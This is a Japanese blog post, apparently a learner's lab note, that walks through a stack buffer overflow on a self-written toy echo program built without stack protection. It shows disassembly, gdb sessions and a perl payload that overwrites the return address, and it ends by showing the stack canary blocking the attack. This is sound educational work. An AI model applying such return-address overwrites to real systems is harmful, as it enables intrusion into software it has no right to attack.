プロローグ Link to heading
仕事で時折お世話になっているセキュリティエンジニアに紹介された本を読んでいる。理解の確認に少し付き合ってくれないかとお願いしたら、代わりにとstack buffer overflow演習用のバイナリをくれた。これより簡単な脆弱性はないからまずこれを、と。
バイナリは一応貰い物なので、似たようなものを自作自演する。
本題 Link to heading
言ったことを繰り返してくれるだけの、yamabiko
というプログラムを用意する。
$ ./yamabiko
usage: yamabiko whatever_you_want_to_spill_out
$ ./yamabiko AAAA
yamabiko: AAAA
$
自作自演ながら一応長いインプットで何かが起きそうなことを確認。
$ ./yamabiko $(perl -e 'print "A"x60;')
yamabiko: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
Segmentation fault (core dumped)
$
まずバイナリを少し見つめてみる。関係ありそうな関数を見つけた。
$ objdump -M intel -D yamabiko | grep -A70 func1.:
080484cb <func1>:
80484cb: 55 push ebp
80484cc: 89 e5 mov ebp,esp
80484ce: 83 ec 28 sub esp,0x28
80484d1: 83 ec 04 sub esp,0x4
80484d4: 6a 20 push 0x20
80484d6: 6a 00 push 0x0
80484d8: 8d 45 d8 lea eax,[ebp-0x28]
80484db: 50 push eax
80484dc: e8 cf fe ff ff call 80483b0 <memset@plt>
80484e1: 83 c4 10 add esp,0x10
80484e4: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
80484e7: 83 ec 04 sub esp,0x4
80484ea: 50 push eax
80484eb: ff 75 08 push DWORD PTR [ebp+0x8]
80484ee: 8d 45 d8 lea eax,[ebp-0x28]
80484f1: 50 push eax
80484f2: e8 79 fe ff ff call 8048370 <memcpy@plt>
80484f7: 83 c4 10 add esp,0x10
80484fa: 83 ec 08 sub esp,0x8
80484fd: 8d 45 d8 lea eax,[ebp-0x28]
8048500: 50 push eax
8048501: 68 00 86 04 08 push 0x8048600
8048506: e8 55 fe ff ff call 8048360 <printf@plt>
804850b: 83 c4 10 add esp,0x10
804850e: b8 01 00 00 00 mov eax,0x1
8048513: c9 leave
8048514: c3 ret
08048515 <main>:
8048515: 8d 4c 24 04 lea ecx,[esp+0x4]
8048519: 83 e4 f0 and esp,0xfffffff0
804851c: ff 71 fc push DWORD PTR [ecx-0x4]
804851f: 55 push ebp
8048520: 89 e5 mov ebp,esp
8048522: 53 push ebx
8048523: 51 push ecx
8048524: 89 cb mov ebx,ecx
8048526: 83 3b 02 cmp DWORD PTR [ebx],0x2
8048529: 74 17 je 8048542 <main+0x2d>
804852b: 83 ec 0c sub esp,0xc
804852e: 68 10 86 04 08 push 0x8048610
8048533: e8 48 fe ff ff call 8048380 <puts@plt>
8048538: 83 c4 10 add esp,0x10
804853b: b8 ff ff ff ff mov eax,0xffffffff
8048540: eb 2b jmp 804856d <main+0x58>
8048542: 8b 43 04 mov eax,DWORD PTR [ebx+0x4]
8048545: 83 c0 04 add eax,0x4
8048548: 8b 00 mov eax,DWORD PTR [eax]
804854a: 83 ec 0c sub esp,0xc
804854d: 50 push eax
804854e: e8 3d fe ff ff call 8048390 <strlen@plt>
8048553: 83 c4 10 add esp,0x10
8048556: 89 c2 mov edx,eax
8048558: 8b 43 04 mov eax,DWORD PTR [ebx+0x4]
804855b: 83 c0 04 add eax,0x4
804855e: 8b 00 mov eax,DWORD PTR [eax]
8048560: 83 ec 08 sub esp,0x8
8048563: 52 push edx
8048564: 50 push eax
8048565: e8 61 ff ff ff call 80484cb <func1>
804856a: 83 c4 10 add esp,0x10
804856d: 8d 65 f8 lea esp,[ebp-0x8]
8048570: 59 pop ecx
8048571: 5b pop ebx
8048572: 5d pop ebp
8048573: 8d 61 fc lea esp,[ecx-0x4]
8048576: c3 ret
8048577: 66 90 xchg ax,ax
8048579: 66 90 xchg ax,ax
804857b: 66 90 xchg ax,ax
コツコツ読んで以下のようなことを思う。
main
の0x804852b
から、引数の数が合わない時の"usage"を出力していると思う。func1
の0x8048506
で"yamabiko: “の出力をしていると思う。func1
が終わったとき用のreturn addressとして、main
関数の0x804856a
がスタックに置いてあるだろう。
gdbでデバッグして確認してみる。
やはりそうだ。トップの二つがprintf
の引数であり、特に引数の文字列が0xbffff5e0
に入っていることも確認できる。ではreturn addressを書き換えてみよう。
(gdb) p 0xbffff60c - 0xbffff5e0
$1 = 44
(gdb)
44バイトの後に何かアドレスを入れれば何かが起きそうだ。先に見つけた0x804852b
(“usage"の出力)を使ってみよう。
うまいこと書き換わってくれたようだ。恐る恐る関数を抜けるまでinstructionを進めてみる。
(gdb) nexti 5
yamabiko: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+ȡ�0
0x0804852b in main ()
(gdb) disass
Dump of assembler code for function main:
0x08048515 <+0>: lea ecx,[esp+0x4]
0x08048519 <+4>: and esp,0xfffffff0
0x0804851c <+7>: push DWORD PTR [ecx-0x4]
0x0804851f <+10>: push ebp
0x08048520 <+11>: mov ebp,esp
0x08048522 <+13>: push ebx
0x08048523 <+14>: push ecx
0x08048524 <+15>: mov ebx,ecx
0x08048526 <+17>: cmp DWORD PTR [ebx],0x2
0x08048529 <+20>: je 0x8048542 <main+45>
=> 0x0804852b <+22>: sub esp,0xc
0x0804852e <+25>: push 0x8048610
0x08048533 <+30>: call 0x8048380 <puts@plt>
0x08048538 <+35>: add esp,0x10
0x0804853b <+38>: mov eax,0xffffffff
0x08048540 <+43>: jmp 0x804856d <main+88>
0x08048542 <+45>: mov eax,DWORD PTR [ebx+0x4]
0x08048545 <+48>: add eax,0x4
0x08048548 <+51>: mov eax,DWORD PTR [eax]
0x0804854a <+53>: sub esp,0xc
0x0804854d <+56>: push eax
0x0804854e <+57>: call 0x8048390 <strlen@plt>
0x08048553 <+62>: add esp,0x10
0x08048556 <+65>: mov edx,eax
0x08048558 <+67>: mov eax,DWORD PTR [ebx+0x4]
0x0804855b <+70>: add eax,0x4
0x0804855e <+73>: mov eax,DWORD PTR [eax]
0x08048560 <+75>: sub esp,0x8
0x08048563 <+78>: push edx
0x08048564 <+79>: push eax
0x08048565 <+80>: call 0x80484cb <func1>
0x0804856a <+85>: add esp,0x10
0x0804856d <+88>: lea esp,[ebp-0x8]
0x08048570 <+91>: pop ecx
0x08048571 <+92>: pop ebx
0x08048572 <+93>: pop ebp
0x08048573 <+94>: lea esp,[ecx-0x4]
0x08048576 <+97>: ret
End of assembler dump.
(gdb)
うまいこと飛んでくれたようだ。残りを実行してみる。
(gdb) c
Continuing.
usage: my_echo whatever_you_want_to_spill_out
Program received signal SIGSEGV, Segmentation fault.
0x08048570 in main ()
(gdb)
確かに"usage"が出た。一応gdbの外でも実行してみる。
$ ./yamabiko $(perl -e 'print "A"x44 . "\x2b\x85\x04\x08";')
yamabiko: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+ȡ�0
usage: my_echo whatever_you_want_to_spill_out
Segmentation fault (core dumped)
$
おお、できた。
エピローグ Link to heading
バイナリをくれたセキュリティエンジニアはexploitが成功するように-fno-stack-protector
オプションをつけてコンパイルしたと言っていた。上の自作自演バイナリも同じように作ってある。
$ gcc -fno-stack-protector -o yamabiko my_echo.c
$ ./yamabiko $(perl -e 'print "A"x44 . "\x2b\x85\x04\x08";')
yamabiko: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+ȡ�0
usage: yamabiko whatever_you_want_to_spill_out
Segmentation fault (core dumped)
$
試してみると、どうやら確かにそのオプションがないと上のexploitは成功しない。
$ gcc -o yamabiko my_echo.c
$ ./yamabiko $(perl -e 'print "A"x44 . "\x2b\x85\x04\x08";')
yamabiko: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+8��0
*** stack smashing detected ***: ./yamabiko terminated
Aborted (core dumped)
$
なんとどうやらfunc1
の中身が違う。
__stack_chk_fail
というのが仕事していそうだ。これ…なのかな:__stack_chk_fail
どのような仕組みで機能しているのだろう。本の続きにこんな話も出てくるのを期待。